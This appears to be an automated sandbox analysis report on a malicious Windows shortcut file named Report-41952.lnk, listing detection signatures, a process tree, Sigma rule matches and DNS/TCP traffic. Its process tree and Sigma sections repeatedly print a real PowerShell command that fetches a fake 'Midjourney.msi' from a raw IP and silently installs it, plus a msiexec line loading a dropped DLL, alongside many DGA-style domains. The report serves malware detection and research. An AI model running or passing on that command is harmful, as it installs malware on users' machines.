Edit tour

Windows Analysis Report
Report-41952.lnk

Overview

General Information

Sample name:	Report-41952.lnk
Analysis ID:	1524796
MD5:	2aed3939fbf8f1967d68fcc746771889
SHA1:	eb04819a97ca2cf33211c6ea323a9c77cdfacfcf
SHA256:	106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f
Tags:	lnkuser-abuse_ch
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Machine Learning detection for dropped file

Queries random domain names (often used to prevent blacklisting and sinkholes)

Sigma detected: Suspicious Invoke-WebRequest Execution

Suspicious powershell command line found

Tries to resolve many domain names, but no domain seems valid

Windows shortcut file (LNK) contains suspicious command line arguments

Checks for available system drives (often done to infect USB drives)

Connects to many different domains

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Msiexec Initiated Connection

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Suspicious Msiexec Execute Arbitrary DLL

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

powershell.exe (PID: 4192 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6908 cmdline: "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Roaming\y.msi /qn MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5088 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 6112 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 800D0887C271C3914D75F510FDC66322 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6340 cmdline: "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll" MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine|base64offset|contains: "{y^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, ProcessId: 4192, ProcessName: powershell.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DesusertionIp: 185.26.238.223, DesusertionIsIpv6: false, DesusertionPort: 443, EventID: 3, Image: C:\Windows\System32\msiexec.exe, Initiated: true, ProcessId: 6340, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine|base64offset|contains: "{y^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, ProcessId: 4192, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Suspicious Msiexec Execute Arbitrary DLL

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll", CommandLine: "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll", CommandLine|base64offset|contains: , Image: C:\Windows\System32\msiexec.exe, NewProcessName: C:\Windows\System32\msiexec.exe, OriginalFileName: C:\Windows\System32\msiexec.exe, ParentCommandLine: C:\Windows\system32\msiexec.exe /V, ParentImage: C:\Windows\System32\msiexec.exe, ParentProcessId: 5088, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll", ProcessId: 6340, ProcessName: msiexec.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine|base64offset|contains: "{y^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, ProcessId: 4192, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, CommandLine|base64offset|contains: "{y^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn, ProcessId: 4192, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\BDncqpUxZl.dll

ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: Report-41952.lnk

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\BDncqpUxZl.dll

Joe Sandbox ML: detected

Source:

Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: MSI41BE.tmp.4.dr, MSI420D.tmp.4.dr, MSI40C1.tmp.4.dr, MSI416E.tmp.4.dr, 423fe6.msi.4.dr, MSI419D.tmp.4.dr, y.msi.0.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: f4vb9n3tdvh.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: d0xtxp89bb9.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nzs8vi9w5o8.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8x2apo5m7ri.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8mgj12azbyd.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: o4m5a5no7e8.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: plll0xq4y82.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lobavyclh8e.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: z3z4fq0420z.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vauy5ah65sx.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: l6syolvczan.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 2u8znzsbrto.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eb4l6wisq9z.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 331k2rdkmmb.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: l9t6r0y6cvi.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 2z1ls31az7s.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: he8fq4k8d3w.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: b1h0uaabzyz.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 0tab35o0swu.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: f2j20ayqh8y.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: m5iukps17y7.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: khxcp22s3dz.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eeqwg3mzq07.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 08mkuqnx6gv.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 7ewh8ltr7il.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 6brdh3p893b.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 65r8nx12fqr.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hudrx8fn980.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 37z6li6l9y2.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vu5b47m18jn.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8ru044xed25.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: acgr6r8zdot.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: p5047yjrb8q.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 3e6rrifr5fn.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: txgogs9p8a1.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: in4pzu7t2pv.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lrugnff8fkc.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 7r8ln1wswth.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 4izk0gc9is6.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pxu1ajsdhqr.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xo8be64ejh2.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: y9neib92f2m.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: y7pzxau0717.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wdga570b8pz.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ge0lpqif3ar.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 9do3mcejztt.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: widn8soih8u.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dxyob8x456a.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ru4jvijdytq.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qc4mwjiop45.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 234ct3lkozp.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mjb3r6mcs1f.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: x9yrzer0ndt.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8z9m8hndrhp.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dw34kmgfl7t.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: j280b59doxz.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: exueqqmz3ia.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 6mnudp7zj73.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: du19ek78tjw.life replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: vl41cymzzfq.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nyy41uibsv5.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fig3gj0v6qe.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8qvt5iabz5n.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 1v0xhie4os8.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 8hjv8mbhrlj.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 38i6lh0rpze.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zdf5ki8x9r0.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 9f6p9g7x13s.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tvx1ovdepj8.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: w8ligr695sd.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xeoz1f1vjs0.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bev8ymaajb7.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lzeqr3apopn.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 7exy2b231n2.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: glux8x5b8d6.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bzc9sq2pz53.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ilofx941igp.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: drmk5rdefb5.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dpgs2lt1sbz.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 6q894zusd4k.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ar7xakeve0o.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: y0zvqpi42no.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 1grovn87c8s.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mk7plk9c6i2.life replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 93j4v4jopzd.life replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 100

Source: global traffic

TCP traffic: 192.168.2.9:49730 -> 21.105.15.36:379

Source: Joe Sandbox View

IP Address: 84.32.84.32 84.32.84.32

Source: global traffic

HTTP traffic detected: GET /mid/w1/Midjourney.msi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.242.145.138Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138
Source: unknown	TCP traffic detected without corresponding DNS query: 193.242.145.138

Source: global traffic

HTTP traffic detected: GET /mid/w1/Midjourney.msi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.242.145.138Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tvx1ovdepj8.life
Source: global traffic	DNS traffic detected: DNS query: acgr6r8zdot.life
Source: global traffic	DNS traffic detected: DNS query: ilofx941igp.life
Source: global traffic	DNS traffic detected: DNS query: 8x2apo5m7ri.life
Source: global traffic	DNS traffic detected: DNS query: x9yrzer0ndt.life
Source: global traffic	DNS traffic detected: DNS query: 93j4v4jopzd.life
Source: global traffic	DNS traffic detected: DNS query: ameagxzo2f7.life
Source: global traffic	DNS traffic detected: DNS query: nyy41uibsv5.life
Source: global traffic	DNS traffic detected: DNS query: ru4jvijdytq.life
Source: global traffic	DNS traffic detected: DNS query: l9t6r0y6cvi.life
Source: global traffic	DNS traffic detected: DNS query: f4vb9n3tdvh.life
Source: global traffic	DNS traffic detected: DNS query: 9do3mcejztt.life
Source: global traffic	DNS traffic detected: DNS query: pxu1ajsdhqr.life
Source: global traffic	DNS traffic detected: DNS query: 7exy2b231n2.life
Source: global traffic	DNS traffic detected: DNS query: vu5b47m18jn.life
Source: global traffic	DNS traffic detected: DNS query: 6mnudp7zj73.life
Source: global traffic	DNS traffic detected: DNS query: p5047yjrb8q.life
Source: global traffic	DNS traffic detected: DNS query: d0xtxp89bb9.life
Source: global traffic	DNS traffic detected: DNS query: ygo9u1fkwux.life
Source: global traffic	DNS traffic detected: DNS query: fig3gj0v6qe.life
Source: global traffic	DNS traffic detected: DNS query: 38f5wvwwn7o.life
Source: global traffic	DNS traffic detected: DNS query: txgogs9p8a1.life
Source: global traffic	DNS traffic detected: DNS query: uyn0icgx1kv.life
Source: global traffic	DNS traffic detected: DNS query: 2z1ls31az7s.life
Source: global traffic	DNS traffic detected: DNS query: 0cc2z8zrnhf.life
Source: global traffic	DNS traffic detected: DNS query: fsr2hskx44p.life
Source: global traffic	DNS traffic detected: DNS query: du19ek78tjw.life
Source: global traffic	DNS traffic detected: DNS query: 234ct3lkozp.life
Source: global traffic	DNS traffic detected: DNS query: he8fq4k8d3w.life
Source: global traffic	DNS traffic detected: DNS query: 7ewh8ltr7il.life
Source: global traffic	DNS traffic detected: DNS query: dw34kmgfl7t.life
Source: global traffic	DNS traffic detected: DNS query: f2j20ayqh8y.life
Source: global traffic	DNS traffic detected: DNS query: 331k2rdkmmb.life
Source: global traffic	DNS traffic detected: DNS query: 37z6li6l9y2.life
Source: global traffic	DNS traffic detected: DNS query: dpgs2lt1sbz.life
Source: global traffic	DNS traffic detected: DNS query: plll0xq4y82.life
Source: global traffic	DNS traffic detected: DNS query: bzc9sq2pz53.life
Source: global traffic	DNS traffic detected: DNS query: 7r8ln1wswth.life
Source: global traffic	DNS traffic detected: DNS query: y9neib92f2m.life
Source: global traffic	DNS traffic detected: DNS query: m5iukps17y7.life
Source: global traffic	DNS traffic detected: DNS query: xo8be64ejh2.life
Source: global traffic	DNS traffic detected: DNS query: widn8soih8u.life
Source: global traffic	DNS traffic detected: DNS query: 08mkuqnx6gv.life
Source: global traffic	DNS traffic detected: DNS query: lzeqr3apopn.life
Source: global traffic	DNS traffic detected: DNS query: o4m5a5no7e8.life
Source: global traffic	DNS traffic detected: DNS query: 2u8znzsbrto.life
Source: global traffic	DNS traffic detected: DNS query: dxyob8x456a.life
Source: global traffic	DNS traffic detected: DNS query: lrugnff8fkc.life
Source: global traffic	DNS traffic detected: DNS query: 38i6lh0rpze.life
Source: global traffic	DNS traffic detected: DNS query: mjb3r6mcs1f.life
Source: global traffic	DNS traffic detected: DNS query: vl41cymzzfq.life
Source: global traffic	DNS traffic detected: DNS query: qc4mwjiop45.life
Source: global traffic	DNS traffic detected: DNS query: z3z4fq0420z.life
Source: global traffic	DNS traffic detected: DNS query: 0tab35o0swu.life
Source: global traffic	DNS traffic detected: DNS query: 4izk0gc9is6.life
Source: global traffic	DNS traffic detected: DNS query: 6brdh3p893b.life
Source: global traffic	DNS traffic detected: DNS query: 736d0mvetjw.life
Source: global traffic	DNS traffic detected: DNS query: drmk5rdefb5.life
Source: global traffic	DNS traffic detected: DNS query: 1v0xhie4os8.life
Source: global traffic	DNS traffic detected: DNS query: khxcp22s3dz.life
Source: global traffic	DNS traffic detected: DNS query: 8z9m8hndrhp.life
Source: global traffic	DNS traffic detected: DNS query: xeoz1f1vjs0.life
Source: global traffic	DNS traffic detected: DNS query: lobavyclh8e.life
Source: global traffic	DNS traffic detected: DNS query: in4pzu7t2pv.life
Source: global traffic	DNS traffic detected: DNS query: j280b59doxz.life
Source: global traffic	DNS traffic detected: DNS query: 6q894zusd4k.life
Source: global traffic	DNS traffic detected: DNS query: y7pzxau0717.life
Source: global traffic	DNS traffic detected: DNS query: bev8ymaajb7.life
Source: global traffic	DNS traffic detected: DNS query: glux8x5b8d6.life
Source: global traffic	DNS traffic detected: DNS query: yan95akxgqt.life
Source: global traffic	DNS traffic detected: DNS query: 9qiliikd3sp.life
Source: global traffic	DNS traffic detected: DNS query: ge0lpqif3ar.life
Source: global traffic	DNS traffic detected: DNS query: ar7xakeve0o.life
Source: global traffic	DNS traffic detected: DNS query: eb4l6wisq9z.life
Source: global traffic	DNS traffic detected: DNS query: 1grovn87c8s.life
Source: global traffic	DNS traffic detected: DNS query: wdga570b8pz.life
Source: global traffic	DNS traffic detected: DNS query: nzs8vi9w5o8.life
Source: global traffic	DNS traffic detected: DNS query: q7dfpyyhe08.life
Source: global traffic	DNS traffic detected: DNS query: exueqqmz3ia.life
Source: global traffic	DNS traffic detected: DNS query: 65r8nx12fqr.life
Source: global traffic	DNS traffic detected: DNS query: vauy5ah65sx.life
Source: global traffic	DNS traffic detected: DNS query: 8hjv8mbhrlj.life
Source: global traffic	DNS traffic detected: DNS query: eeqwg3mzq07.life
Source: global traffic	DNS traffic detected: DNS query: b1h0uaabzyz.life
Source: global traffic	DNS traffic detected: DNS query: 8qvt5iabz5n.life
Source: global traffic	DNS traffic detected: DNS query: 8ru044xed25.life
Source: global traffic	DNS traffic detected: DNS query: w8ligr695sd.life
Source: global traffic	DNS traffic detected: DNS query: 3e6rrifr5fn.life
Source: global traffic	DNS traffic detected: DNS query: 9f6p9g7x13s.life
Source: global traffic	DNS traffic detected: DNS query: ibcm5at6qrz.life
Source: global traffic	DNS traffic detected: DNS query: spd22scperm.life
Source: global traffic	DNS traffic detected: DNS query: 4k59ij2ujeu.life
Source: global traffic	DNS traffic detected: DNS query: 07zxfo0kere.life
Source: global traffic	DNS traffic detected: DNS query: nhdeapyfg7e.life
